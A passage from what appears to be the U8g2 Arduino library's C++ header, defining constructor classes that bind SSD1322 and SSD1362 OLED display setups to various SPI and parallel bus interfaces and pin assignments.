U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_F_6800 : public U8G2 {\n  public: U8G2_SSD1322_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_F_8080 : public U8G2 {\n  public: U8G2_SSD1322_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_1_6800 : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_1_8080 : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_2_6800 : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_2_8080 : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_F_6800 : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_256X64_F_8080 : public U8G2 {\n  public: U8G2_SSD1322_NHD_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_1_6800 : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_1_8080 : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_2_6800 : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_2_8080 : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_F_6800 : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_NHD_128X64_F_8080 : public U8G2 {\n  public: U8G2_SSD1322_NHD_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_6800 : public U8G2 {\n  public: 